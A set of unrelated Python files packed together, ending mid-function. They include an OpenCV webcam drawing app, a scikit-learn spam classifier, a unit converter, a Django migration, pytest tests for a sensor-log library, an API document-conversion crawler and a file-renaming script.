#!/usr/bin/python3

import argparse
import json
import time
import cv2
import numpy as np

# dictionary with ranges
ranges_pcss = {"b": {"min": 100, "max": 256},
               "g": {"min": 100, "max": 256},
               "r": {"min": 100, "max": 256},
               }

def main():
    """
    INITIALIZE -----------------------------------------
    """
    # program flags
    background_white = True  # background color
    pointer_on = False  # pointer method incomplete
    rect_drawing = False  # rectangle drawing flag
    circle_drawing = False  # circle drawing flag

    # variables
    dot_x, dot_y = 0, 0  # pen points
    prev_x, prev_y = 0, 0  # point for continuous draw
    rect_pt1_x, rect_pt1_y, rect_pt2_x, rect_pt2_y = 0, 0, 0, 0  # rectangle drawing points
    circle_pt1_x, circle_pt1_y, circle_pt2_x, circle_pt2_y = 0, 0, 0, 0  # circle drawing points

    # parse the json file with BGR limits (from color_segmenter.py)
    parser = argparse.ArgumentParser(description="Load a json file with limits")
    parser.add_argument("-j", "--json", type=str, required=True, help="Full path to json file")
    args = vars(parser.parse_args())

    # read the json file
    with open(args["json"], "r") as file_handle:
        data = json.load(file_handle)

    # print json file then close
    # print(data)  # debug
    file_handle.close()

    ranges_pcss["b"]["min"] = data["b"]["min"]
    ranges_pcss["b"]["max"] = data["b"]["max"]
    ranges_pcss["g"]["min"] = data["g"]["min"]
    ranges_pcss["g"]["max"] = data["g"]["max"]
    ranges_pcss["r"]["min"] = data["r"]["min"]
    ranges_pcss["r"]["max"] = data["r"]["max"]

    # print(ranges_pcss)  # debug

    # numpy arrays
    mins_pcss = np.array([ranges_pcss['b']['min'], ranges_pcss['g']['min'], ranges_pcss['r']['min']])
    maxs_pcss = np.array([ranges_pcss['b']['max'], ranges_pcss['g']['max'], ranges_pcss['r']['max']])

    # initial setup
    capture = cv2.VideoCapture(0)  # connect to webcam

    # create the window
    window_segmented = "Color Segmenter"
    cv2.namedWindow(window_segmented, cv2.WINDOW_AUTOSIZE)

    # create a white image background dim 600*400
    background = np.zeros((422, 750, 3), np.uint8)
    background.fill(255)

    # window for display background/draw area
    draw_area = "Draw Area"
    cv2.namedWindow(draw_area)

    # merged camera and drawing
    merged_area = "Interactive Drawing"
    cv2.namedWindow(merged_area)
    image_canvas = np.zeros((422, 750, 3), np.uint8)

    # pen variables
    pen_color = (0, 0, 0)
    pen_thickness = 5

    """
    EXECUTION -----------------------------------------
    """
    while True:
        # read the image
        _, image = capture.read()
        image = cv2.resize(image, (750, 422))  # resize the capture window

        # apply filters
        # blurred_frame = cv2.GaussianBlur(image, (5, 5), 0)

        # transform the image and show it
        mask = cv2.inRange(image, mins_pcss, maxs_pcss)  # colors mask
        image_segmenter = cv2.bitwise_and(image, image, mask=mask)

        # get contours
        contours, hierarchy = cv2.findContours(mask.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
        # cv2.drawContours(image_segmenter, contours, -1, (0, 0, 255), 3)
        # cv2.drawContours(image, contours, -1, (0, 0, 255), 3)

        # create the rectangle over object and draw on the background
        for contours in contours:
            (x, y, w, h) = cv2.boundingRect(contours)

            # draw the rectangle only if the area is > 3000 px
            # print(cv2.contourArea(contours)) # debug
            if cv2.contourArea(contours) < 3000:
                continue

            # draw the rectangle
            cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)

            # dot in the center of the rectangle
            dot_x = x + w / 2
            dot_y = y + h / 2
            cv2.circle(image, (int(dot_x), int(dot_y)), 10, (0, 0, 0), cv2.FILLED)

            # draw in the background
            if prev_x == 0 and prev_y == 0:  # skip first iteration
                prev_x, prev_y = dot_x, dot_y

            if abs(prev_x - dot_x) < 50 and abs(prev_y - dot_y) < 50:   # mitigate appears and disappears of the pen
                cv2.line(background, (int(prev_x), int(prev_y)), (int(dot_x), int(dot_y)), pen_color, pen_thickness)
                cv2.line(image_canvas, (int(prev_x), int(prev_y)), (int(dot_x), int(dot_y)), pen_color, pen_thickness)
                prev_x, prev_y = dot_x, dot_y
            else:
                prev_x, prev_y = 0, 0

            # --------------------------------
            # if not pointer_on:
            #     cv2.circle(background, (int(dot_x), int(dot_y)), pen_thickness, pen_color, cv2.FILLED)
            # else:
            #     cv2.circle(background, (int(dot_x), int(dot_y)), pen_thickness, pen_color, cv2.FILLED)
            #     # background.fill(255)

        # imshows
        cv2.imshow(window_segmented, image_segmenter)  # drawing object (pen)
        cv2.imshow(draw_area, background)  # draw area
        cv2.imshow("Original", image)

        # merge the video and the drawing ----------------------------INCOMPLETE DOESN'T DRAW THE BLACK COLOR
        # image_merged = cv2.addWeighted(image, 0.5, background, 0.5, 0) # merged the images_recog to draw on the video
        # cv2.imshow(merged_area, image_merged)
        image_gray = cv2.cvtColor(image_canvas, cv2.COLOR_BGR2GRAY)
        _, image_inverse = cv2.threshold(image_gray, 50, 255, cv2.THRESH_BINARY_INV)
        image_inverse = cv2.cvtColor(image_inverse, cv2.COLOR_GRAY2BGR)
        image = cv2.bitwise_and(image, image_inverse)
        image = cv2.bitwise_or(image, image_canvas)
        cv2.imshow(merged_area, image)

        """
        interactive keys (k) -----------------------------------------
        """
        # ESC to close
        k = cv2.waitKey(1) & 0xFF
        if k == 27:
            break

        # clean the screen
        if k == ord("c"):
            if background_white:
                background.fill(255)
                image_canvas.fill(0)
                print("CLEAN")
            else:
                background.fill(0)

        # red color
        if k == ord("r"):
            pen_color = (0, 0, 255)
            print("YOU SELECT RED COLOR")

        # green color
        if k == ord("g"):
            pen_color = (0, 255, 0)
            print("YOU SELECT GREEN COLOR")

        # blue color
        if k == ord("b"):
            pen_color = (255, 0, 0)
            print("YOU SELECT BLUE COLOR")

        # black color
        if k == ord("B"):
            if background_white:
                pen_color = (0, 0, 0)
                print("YOU SELECT BLACK COLOR")
            else:
                pen_color = (255, 255, 255)
                print("YOU SELECT WHITE COLOR")

        # thickness
        if k == ord("T"):
            pen_thickness += 1
            print("THICKNESS: " + str(pen_thickness))

        if k == ord("t"):
            pen_thickness -= 1
            if pen_thickness < 0:
                pen_thickness = 0
            print("THICKNESS: " + str(pen_thickness))

        # erase
        if k == ord("e"):
            if background_white:
                pen_color = (255, 255, 255)
                print("YOU SELECT ERASER")
            else:
                pen_color = (0, 0, 0)
                print("YOU SELECT ERASER")

        # flip the background
        if k == ord("f"):
            if background_white:
                background.fill(0)
                background_white = False
                pen_color = (255, 255, 255)
            else:
                background.fill(255)
                background_white = True
                pen_color = (0, 0, 0)

        # pointer mode ---- not working
        if k == ord("p"):
            if pointer_on:
                pointer_on = False
            else:
                pointer_on = True

        # draw a rectangle------------------------------------------ INCOMPLETE, DRAW MULTIPLE RECTANGLES
        if k == ord("R"):
            rect_drawing = True
            rect_pt1_x = int(dot_x)
            rect_pt1_y = int(dot_y)
            # print(rect_cnt)
            # print(rect_pt1_x, rect_pt1_y)

        if rect_drawing:
            rect_pt2_x = int(dot_x)
            rect_pt2_y = int(dot_y)
            cv2.rectangle(background, (rect_pt1_x, rect_pt1_y), (rect_pt2_x, rect_pt2_y), pen_color, cv2.FILLED)

        if k == ord("L") and rect_drawing:
            rect_pt2_x = int(dot_x)
            rect_pt2_y = int(dot_y)
            rect_drawing = False
            cv2.rectangle(background, (rect_pt1_x, rect_pt1_y), (rect_pt2_x, rect_pt2_y), pen_color, cv2.FILLED)

        # draw a circle------------------------------------------ INCOMPLETE, DOESN'T WORK PROPERLY
        if k == ord("C"):
            circle_drawing = True
            circle_pt1_x = int(dot_x)
            circle_pt1_y = int(dot_y)

        if circle_drawing:
            circle_pt2_x = int(dot_x)
            circle_pt2_y = int(dot_y)
            # cv2.circle(image, center_coordinates, radius, color, thickness)
            cv2.ellipse(background, (circle_pt1_x, circle_pt1_y),
                        (circle_pt2_x, circle_pt2_y), 45, 45, 360, pen_color, cv2.FILLED)

        if k == ord("L") and circle_drawing:
            circle_pt2_x = int(dot_x)
            circle_pt2_y = int(dot_y)
            circle_drawing = False
            cv2.ellipse(background, (circle_pt1_x, circle_pt1_y),
                        (circle_pt2_x, circle_pt2_y), 0, 0, 360, pen_color, cv2.FILLED)

    """
    FINALIZATION -----------------------------------------
    """
    capture.release()  # free the webcam for other use
    cv2.destroyAllWindows()

if __name__ == '__main__':
    main()


__author__ = 'christine'

GTEx = ['Pancreas', 'Esophagus', 'Heart', 'Colon', 'Bone Marrow', 'Liver', 'Skin', 'Kidney', 'Brain', 'Pituitary', 'Blood', 'Thyroid', 'Uterus', 'Adipose Tissue', 'Adrenal Gland', 'Breast', 'Stomach', 'Spleen', 'Fallopian Tube', 'Lung', 'Blood Vessel', 'Ovary', 'Testis', '<not provided>', 'Muscle', 'Bladder', 'Nerve', 'Cervix Uteri', 'Prostate', 'Vagina', 'Salivary Gland', 'Small Intestine']
TCGA = ['STAD', 'KIRP', 'READ', 'HNSC', 'THCA', 'PAAD', 'MESO', 'KICH', 'ESCA', 'CESC', 'OV', 'PCPG', 'BRCA', 'CHOL', 'KIRC', 'LUAD', 'SARC', 'LGG', 'THYM', 'BLCA', 'GBM', 'SKCM', 'ACC', 'LIHC', 'TGCT', 'COAD', 'LUSC', 'UCEC', 'UVM', 'PRAD', 'UCS', 'DLBC']
print(len(TCGA))
TCGAToGTEx = {'STAD': 'Stomach', 'KIRP': 'Kidney', 'THCA': 'Thyroid', 'PAAD': 'Pancreas', 'KICH': 'Kidney',
              'ESCA': 'Esophagus', 'CESC': 'Cervix Uteri', 'OV': 'Ovary', 'PCPG': 'Adrenal Gland',
              'BRCA': 'Breast', 'KIRC': 'Kidney', 'LUAD': 'Lung', 'LGG': 'Brain', 'BLCA': 'Bladder',
              'GBM': 'Brain', 'SKCM': 'Skin', 'ACC': 'Adrenal Gland', 'LIHC': 'Liver', 'TGCT': 'Testis',
              'COAD': 'Colon', 'LUSC': 'Lung', 'UCEC': 'Uterus', 'PRAD': 'Prostate', 'UCS': 'Uterus'}

#if value is tending to the fight direction, make that as good result


import rclpy
from rclpy.node import Node
from sensor_msgs.msg import Image
import cv2
from cv_bridge import CvBridge

class CameraSubscriber(Node):
    def __init__(self):
        super().__init__("camera_subscriber")
        self.create_subscription(Image, "/wamv/sensors/cameras/front_left_camera_sensor/optical/image_raw", self.callback, 10)

    def callback(self, data: Image):
        self.camera_output = CvBridge().imgmsg_to_cv2(data, "bgr8")
        cv2.imshow("boat_output", self.camera_output)
        cv2.waitKey(1)

def main(args=None):
    rclpy.init(args=args)
    cam_sub = CameraSubscriber()
    rclpy.spin(cam_sub)
    cam_sub.destroy_node()
    rclpy.shutdown()

if __name__ == "__main__":
    main()


#!/usr/bin/env python3
'''
Perform classification of a corpus using CountVectorizer.
Displays the metrics from the classification.
'''

import codecs as cs
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn import cross_validation
from sklearn import metrics
from sklearn.datasets import load_files

if __name__ == '__main__':
    corpus = "corpus5"
    label_names = ['relevant', 'spam']

    notices = load_files(corpus, categories=label_names, load_content=False, random_state=123)
    data = [cs.open(filename,'r','UTF-8').read() for filename in notices.filenames]

    n_samples = len(data)
    print("text read:{0}".format(n_samples))
    Y = notices.target

    tfidf = CountVectorizer(stop_words="english", max_df=0.8, ngram_range=(1,2))
    X = tfidf.fit_transform(data).todense()

    vocab = tfidf.vocabulary_
    print("vocab len=", len(vocab))

    test_size = 0.6
    X_train, X_test, y_train, y_test = \
        cross_validation.train_test_split(X, Y,
                                          test_size=test_size, random_state=0)

    print("--------------------------")
    print("TF (MultinomialNB)")
    print("--------------------------")
    #
    clf = MultinomialNB().fit(X_train, y_train)
    print("MultinomialNB score=", clf.score(X_test, y_test))
    y_pred = clf.predict(X_test)

    print(metrics.classification_report(y_test, y_pred, target_names=label_names))
    print(metrics.confusion_matrix(y_test, y_pred))

    cv = cross_validation.ShuffleSplit(X_train.shape[0], n_iter=10, test_size=test_size, random_state=0)

    CVscores = cross_validation.cross_val_score(clf, X_train, y_train, cv=cv, score_func=metrics.accuracy_score)
    print("svm.SVC crossvalidated score=", CVscores)

    print("Accuracy: %0.2f (+/- %0.2f)" % (CVscores.mean(), CVscores.std() / 2))
    CVscores = cross_validation.cross_val_score(clf, X_train, y_train, cv=cv, score_func=metrics.recall_score)
    print("Recall: %0.2f (+/- %0.2f)" % (CVscores.mean(), CVscores.std() / 2))
    CVscores = cross_validation.cross_val_score(clf, X_train, y_train, cv=cv, score_func=metrics.f1_score)
    print("F1: %0.2f (+/- %0.2f)" % (CVscores.mean(), CVscores.std() / 2))


# -*- coding: utf-8 -*-
""" Class to store Units and perform conversion

This script requires that `logging` be installed within the Python
environment you are running this script in.
"""
import logging
import json
from os import path
import logging.config

class Unit:
    """It represents the physical unit
         It has the following methods
                *convert(): It converts the given unit of quantity to the specified one
    """

    # Units of time
    SECONDS = "seconds"
    MINUTES = "minutes"
    HOURS = "hours"

    # Units of length
    METER = "meter"
    KILOMETER = "kilometer"
    INCH = "inch"
    FOOT = "foot"
    CENTIMETER = "centimeter"

    # Units of mass
    GRAM = "gram"
    KILOGRAM = "kilogram"
    MILLIGRAM = "milligram"
    TONNE = "tonne"

    # Temperature
    KELVIN = "kelvin"
    CELSIUS = "celsius"

    # Custom Units
    ONE = "one"
    NEW = "new"

    def __init__(self, value, unit, conversion_data):

        if unit == self.__class__.CELSIUS:
            if value < -273.15:
                logger.error("Celsius cannot be below -273.15", exc_info=True)
                raise Exception("Celsius cannot be below -273.15")
            else:
                self.value = value
                self.unit = unit
                self.conversion_data = conversion_data
        elif value < 0:
            logger.error(f"{unit} cannot be below 0", exc_info=True)
            raise Exception(f"{unit} cannot be below 0")
        else:
            self.value = value
            self.unit = unit
            self.conversion_data = conversion_data

    def convert(self, to_unit):
        """

        :param to_unit: The conversion unit
        :return Unit: New instance of the unit class with value and unit equal to the conversion
        """
        if self.unit == to_unit:
            logger.info("Same Unit Conversion")
            return Unit(self.value, self.unit, self.conversion_data)
        try:
            coef = self.conversion_data[self.unit][to_unit]
            result = coef[0]

            for i in range(1, len(coef)):
                result = (result * self.value) + coef[i]

            logger.info("Successfully Converted")
            return Unit(result, to_unit, self.conversion_data)
        except Exception:
            logger.error("Unit conversion not compatible", exc_info=True)

    def __str__(self):
        return f"{self.value}-{self.unit}"

def log():
    """
    Creates a custom logger from the configuration dictionary
    """
    with open('UnitsLog.json', 'r') as f:
        config = json.load(f)
        logging.config.dictConfig(config)
    global logger
    logger = logging.getLogger(__name__)

def main():
    """
        Main function to store units
    """
    log()

    file = 'conversion.json'
    if not path.exists(file):
        logger.error("The given file does not exist")
        return
    with open(file) as f:
        data = json.load(f)
    try:
        g = Unit(273.15, Unit.GRAM, data)
        print(g)
        Tk = g.convert(g.KELVIN)
        print(Tk)
    except Exception:
        logger.error("Error Occurred", exc_info=True)

if __name__ == '__main__':
    main()


import scipy.stats
import numpy as np

class UniformDist:
    def __init__(self, xmax=1., xmin=None):
        self.xmax = xmax
        self.xmin = - xmax if xmin is None else xmin
        self.prob = 1 / (self.xmax - self.xmin)

    def __call__(self, *args, **kwargs):
        return self.prob

    def __str__(self):
        return 'UniformDist(max={}, min={})'.format(self.xmax, self.xmin)

class DistBase:
    def __init__(self, dist, params):
        self.dist = dist
        self.params = params

    def __call__(self, x):
        """
        :x: input
        :return: P(x)
        """
        return np.exp(np.sum(self.dist.logpdf(x, **self.params)))

    def sample(self, size=10):
        return self.dist.rvs(size=size, **self.params)

    def __str__(self):
        return self.__class__.__name__ + '(' + ', '.join(['{}={}'.format(key, value)
                                                        for key, value in self.params.items()]) + ')'

class GaussianDist(DistBase):
    def __init__(self, loc=0, scale=0.1):
        """
        :param loc: location of gaussian distribution
        :param scale: var == scale ** 2
        """
        params = dict(loc=loc, scale=scale)
        dist = scipy.stats.norm
        super().__init__(dist=dist, params=params)

class BetaDist(DistBase):
    def __init__(self, a=0.5, b=0.5, loc=0, scale=1):
        params = dict(a=a, b=b, loc=loc, scale=scale)
        dist = scipy.stats.beta
        super().__init__(dist=dist, params=params)

class GammaDist(DistBase):
    def __init__(self, a=2, loc=0, scale=1):
        params = dict(a=a, loc=loc, scale=scale)
        dist = scipy.stats.gamma
        super().__init__(dist=dist, params=params)

if __name__ == '__main__':
    import matplotlib.pyplot as plt
    import os
    dists = (GaussianDist, BetaDist, GammaDist)
    for dist in dists:
        distribution = dist()
        samples = distribution.sample(size=100)
        plt.hist(samples)
        plt.title(distribution)
        path = '/' + os.path.join(*os.path.abspath(__file__).split('/')[:-3], 'results',
                                  '{}.png'.format(dist.__name__))
        plt.savefig(path)
        plt.cla()


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('webapp', '0009_auto_20141216_0118'),
    ]

    operations = [
        migrations.AlterField(
            model_name='openinghours',
            name='weekday',
            field=models.IntegerField(choices=[(1, b'Monday'), (2, b'Tuesday'), (3, b'Wednesday'), (4, b'Thursday'), (5, b'Friday'), (6, b'Saturday'), (7, b'Sunday')]),
            preserve_default=True,
        ),
        migrations.AlterUniqueTogether(
            name='openinghours',
            unique_together=set([('weekday', 'store')]),
        ),
    ]


# 15_function_ex1.py

# 다음의 함수를 포함하는 프로그램 작성
# 함수 이름 : sum()
# 숫자 2개를 입력 받아서 두수의 합을 구하여 출력

# 숫자1 입력 : 3
# 숫자2 입력 : 4
# 합 : 7

def sum() :
    num1 = int(input('숫자1 입력 : '))
    num2 = int(input('숫자2 입력 : '))
    sum = num1+ num2
    return sum

print('합 : ', sum())


import pytest

from iotile.core.exceptions import ArgumentError
from iotile.sg.model import DeviceModel
from iotile.sg.sensor_log import SensorLog
from iotile.sg.exceptions import StorageFullError, UnresolvedIdentifierError
from iotile.sg.engine import InMemoryStorageEngine
from iotile.sg import DataStreamSelector, DataStream, StreamEmptyError
from iotile.core.hw.reports import IOTileReading

def test_counter_walker():
    """Make sure counter walkers work correctly."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('counter 1'))

    stream = DataStream.FromString('counter 1')
    reading = IOTileReading(0, 1, 1)

    assert walk.count() == 0
    log.push(stream, IOTileReading(0, 1, 1))
    assert walk.count() == 1
    assert walk.peek().value == 1

    log.push(stream, IOTileReading(0, 1, 3))

    assert walk.count() == 2
    assert walk.peek().value == 3

    val = walk.pop()
    assert walk.count() == 1
    assert val.value == 3

    val = walk.pop()
    assert walk.count() == 0
    assert val.value == 3

    with pytest.raises(StreamEmptyError):
        walk.pop()

def test_unbuffered_walker():
    """Make sure unbuffered walkers hold only 1 reading."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))
    stream = DataStream.FromString('unbuffered 1')

    assert walk.count() == 0
    log.push(stream, IOTileReading(0, 1, 1))
    assert walk.count() == 1
    assert walk.peek().value == 1

    log.push(stream, IOTileReading(0, 1, 3))
    assert walk.count() == 1
    assert walk.peek().value == 3

    val = walk.pop()
    assert walk.count() == 0
    assert val.value == 3

    with pytest.raises(StreamEmptyError):
        walk.pop()

def test_constant_walker():
    """Make sure constant walkers can be read any number of times."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('constant 1'))
    stream = DataStream.FromString('constant 1')
    reading = IOTileReading(0, 1, 1)

    log.push(stream, reading)
    assert walk.count() == 0xFFFFFFFF

    log.push(stream, reading)
    assert walk.count() == 0xFFFFFFFF

    val = walk.pop()
    assert walk.count() == 0xFFFFFFFF

    val = walk.pop()
    assert walk.count() == 0xFFFFFFFF

def test_storage_walker():
    """Make sure the storage walker works."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'))
    stream = DataStream.FromString('buffered 1')

    storage_size = model.get('max_storage_buffer')
    erase_size = model.get('buffer_erase_size')

    for i in range(0, storage_size):
        reading = IOTileReading(0, stream.encode(), i)
        log.push(stream, reading)

        assert walk.count() == (i + 1)

    # Make sure the overwrite happens correctly
    old_count = walk.count()
    reading = IOTileReading(0, stream.encode(), storage_size)
    log.push(stream, reading)
    assert walk.count() == (old_count - erase_size + 1)

def test_walker_at_beginning():
    """Make sure we can start a walker at the beginning of a stream."""

    model = DeviceModel()
    log = SensorLog(model=model)

    stream = DataStream.FromString('buffered 1')
    reading = IOTileReading(stream.encode(), 0, 1)
    log.push(stream, reading)
    log.push(stream, reading)
    log.push(DataStream.FromString('buffered 2'), reading)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    assert walk.offset == 0
    assert walk.count() == 2

def test_storage_streaming_walkers():
    """Make sure the storage and streaming walkers work simultaneously."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage_walk = log.create_walker(DataStreamSelector.FromString('buffered 1'))
    output_walk = log.create_walker(DataStreamSelector.FromString('output 1'))
    storage1 = DataStream.FromString('buffered 1')
    storage2 = DataStream.FromString('buffered 2')
    output1 = DataStream.FromString('output 1')
    output2 = DataStream.FromString('output 2')

    assert storage_walk.offset == 0
    assert output_walk.offset == 0

    for i in range(0, 5000):
        reading = IOTileReading(0, 0, i)
        log.push(storage1, reading)
        log.push(storage2, reading)
        log.push(output1, reading)
        log.push(output2, reading)

        assert storage_walk.count() == (i + 1)
        assert output_walk.count() == (i + 1)
        assert storage_walk.offset == 0
        assert output_walk.offset == 0

    for i in range(0, 5000):
        reading1 = storage_walk.pop()
        reading2 = output_walk.pop()

        assert reading1.value == i
        assert reading1.stream == storage1.encode()
        assert reading2.value == i
        assert reading2.stream == output1.encode()
        assert storage_walk.offset == (2 * i) + 1
        assert output_walk.offset == (2* i) + 1

    log.clear()

    assert storage_walk.count() == 0
    assert storage_walk.offset == 0

    assert output_walk.count() == 0
    assert output_walk.offset == 0

def test_storage_scan():
    """Make sure scan_storage works."""

    model = DeviceModel()

    engine = InMemoryStorageEngine(model)
    log = SensorLog(engine, model=model)

    storage1 = DataStream.FromString('buffered 1')
    output1 = DataStream.FromString('output 1')

    for i in range(0, 10):
        reading = IOTileReading(0, 0, i)
        log.push(storage1, reading)

    for i in range(7, 14):
        reading = IOTileReading(0, 0, i)
        log.push(output1, reading)

    shared = [None, 0]

    def _max_counter(i, reading):
        if reading.value > shared[1]:
            shared[0] = i
            shared[1] = reading.value

    # Make sure scanning storage works
    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter)
    assert count == 10
    assert shared == [9, 9]

    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter, start=5, stop=9)
    assert count == 5
    assert shared == [9, 9]

    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter, start=5, stop=8)
    assert count == 4
    assert shared == [8, 8]

    # Make sure scanning steaming works
    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter)
    assert count == 7
    assert shared == [6, 13]

    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter, start=2, stop=6)
    assert count == 5
    assert shared == [6, 13]

    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter, start=2, stop=5)
    assert count == 4
    assert shared == [5, 12]

    # Make sure errors are thrown correctly
    with pytest.raises(ArgumentError):
        engine.scan_storage('other_name', _max_counter)

    with pytest.raises(ArgumentError):
        engine.scan_storage('streaming', _max_counter, stop=7)

def test_seek_walker():
    """Make sure we can seek a walker can count with an offset."""

    model = DeviceModel()
    log = SensorLog(model=model)

    stream = DataStream.FromString('buffered 1')
    reading = IOTileReading(stream.encode(), 0, 1)
    log.push(stream, reading)
    log.push(stream, reading)
    log.push(DataStream.FromString('buffered 2'), reading)
    log.push(stream, reading)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    assert walk.offset == 0
    assert walk.count() == 3

    walk.seek(1)
    assert walk.offset == 1
    assert walk.count() == 2

    # Make sure we can seek to a position corresponding to another stream
    walk.seek(2)
    assert walk.offset == 2
    assert walk.count() == 1

    # Make sure we can find a reading by reading ID
    walk = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)

    output1 = DataStream.FromString('output 1')
    output2 = DataStream.FromString('output 2')
    log.push(output1, IOTileReading(0, 0, 1, reading_id=1))
    log.push(output1, IOTileReading(0, 0, 1, reading_id=2))
    log.push(output2, IOTileReading(0, 0, 1, reading_id=3))
    log.push(output1, IOTileReading(0, 0, 1, reading_id=4))

    exact = walk.seek(2, target='id')
    assert exact is True
    assert walk.count() == 2
    assert walk.offset == 1

    exact = walk.seek(3, target='id')
    assert exact is False
    assert walk.count() == 1
    assert walk.offset == 2

    # Verify exceptions thrown by seek()
    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target='id')

    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target=u'id')

    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target='offset')

    with pytest.raises(ArgumentError):
        walk.seek(2, target="unsupported")

def test_fill_stop():
    """Make sure we can configure SensorLog into fill-stop mode."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage = DataStream.FromString('buffered 1')
    output = DataStream.FromString('output 1')

    reading = IOTileReading(0, 0, 1)

    # Neither fill-stop
    for _i in range(0, 50000):
        log.push(storage, reading)

    for _i in range(0, 50000):
        log.push(output, reading)

    log.clear()
    log.set_rollover('storage', False)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(storage, reading)

    for _i in range(0, 50000):
        log.push(output, reading)

    assert log.count() == (16128, 48720)

    log.clear()
    log.set_rollover('streaming', False)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(storage, reading)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(output, reading)

    assert log.count() == (16128, 48896)

def test_dump_restore():
    """Make sure we can properly dump and restore a SensorLog."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage = DataStream.FromString('buffered 1')
    output = DataStream.FromString('output 1')

    reading = IOTileReading(0, 0, 1)

    for _i in range(0, 25):
        log.push(storage, reading)

    for _i in range(0, 20):
        log.push(output, reading)

    out1 = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)
    store1 = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    count1 = log.create_walker(DataStreamSelector.FromString('counter 1'))
    const1 = log.create_walker(DataStreamSelector.FromString('constant 1'))
    unbuf1 = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))

    log.push(DataStream.FromString('counter 1'), reading)
    log.push(DataStream.FromString('counter 1'), reading)
    log.push(DataStream.FromString('constant 1'), reading)
    log.push(DataStream.FromString('unbuffered 1'), reading)

    state = log.dump()

    log.clear()
    log.destroy_all_walkers()

    out1 = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)
    store1 = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    count1 = log.create_walker(DataStreamSelector.FromString('counter 1'))
    const1 = log.create_walker(DataStreamSelector.FromString('constant 1'))
    unbuf1 = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))

    log.restore(state)

    assert store1.count() == 25
    assert out1.count() == 20
    assert count1.count() == 2
    assert const1.count() == 0xFFFFFFFF
    assert unbuf1.count() == 1

    # Test permissive and non-permissive restores
    _unbuf2 = log.create_walker(DataStreamSelector.FromString('unbuffered 2'))

    with pytest.raises(ArgumentError):
        log.restore(state)

    log.clear()
    log.restore(state, permissive=True)
    assert store1.count() == 25
    assert out1.count() == 20
    assert count1.count() == 2
    assert const1.count() == 0xFFFFFFFF
    assert unbuf1.count() == 1

    # Test restoring a stream walker
    log.clear()
    log.destroy_all_walkers()
    walk = log.create_walker(DataStreamSelector.FromString(str(storage)))

    for _i in range(0, 25):
        log.push(storage, reading)

    assert walk.count() == 25
    dump = walk.dump()
    log.destroy_all_walkers()
    walk2 = log.restore_walker(dump)
    assert walk2.count() == 25


from copy import deepcopy
import requests

from c2corg_api.legacy.converter import convert_from_legacy_doc, convert_to_legacy_doc
from c2corg_api.schemas import schema_validator

def test_converter(document_id, document_type):
    legacy_doc = requests.get(f"https://api.camptocamp.org/{document_type}s/{document_id}", timeout=10).json()

    v7_doc = convert_from_legacy_doc(deepcopy(legacy_doc), document_type, {})

    try:
        schema_validator.validate(v7_doc["data"], f"{document_type}.json")
    except:  # pylint: disable=bare-except
        print(document_id)
        # with open(f"migrations/documents/{document_id}.json", mode="w", encoding="utf-8") as f:
        #     json.dump(legacy_doc, f, indent=4)

    convert_to_legacy_doc(v7_doc)

def crawl(document_type, pages):
    params = {"offset": 0, "limit": 100}
    url = f"https://api.camptocamp.org/{document_type}s"

    while pages > 0:
        pages -= 1
        r = requests.get(url, params=params, timeout=10).json()
        print(f"{document_type} {params['offset']}/{r['total']}")
        documents = r["documents"]

        if len(documents) == 0:
            return

        for document in documents:
            yield document["document_id"]

        params["offset"] += 100

def main():
    for document_type, pages in (("article", 3), ("xreport", 5)):
        for document_id in crawl(document_type, pages):
            test_converter(document_id, document_type)

main()


import os
from unidecode import unidecode
from pathlib import Path
import argparse
import re

parser = argparse.ArgumentParser()
parser.add_argument("--path", type=str, required=True)
parser.add_argument("--remove_accent", type=bool, required=False, default=True)
parser.add_argument("--lower", type=bool, required=False, default=True)
parser.add_argument("--recursive", type=bool, required=False, default=False)
args = parser.parse_args()

path = args.path
remove_accent = args.remove_accent
lower = args.lower
recursive = args.recursive

def create_log_structure():
    if not os.path.exists('logs'):
        os.mkdir("logs")
    open("logs/folders_accessed.txt", "w").close()

def add_break_line(path_list: list):
    for item in path_list:
        yield item
        yield "\n"

def write_log(path_list: list) -> None:
    with open("logs/folders_accessed.txt", mode="a") as file:
        file.writelines(add_break_line(path_list))

def access_next_path(path: str) -> None:
    directory_log_list = []
    with open("logs/folders_accessed.txt", mode="a") as file:
        file.write(f"{path}\n")
        file.close()

    if not path.endswith("/"):
        path = path + "/"

    path_list = os.listdir(path)

    for path_item in path_list:
        path_item_name, extension = os.path.splitext(path_item)
        new_path = os.path.join(path, path_item_name) + "/"
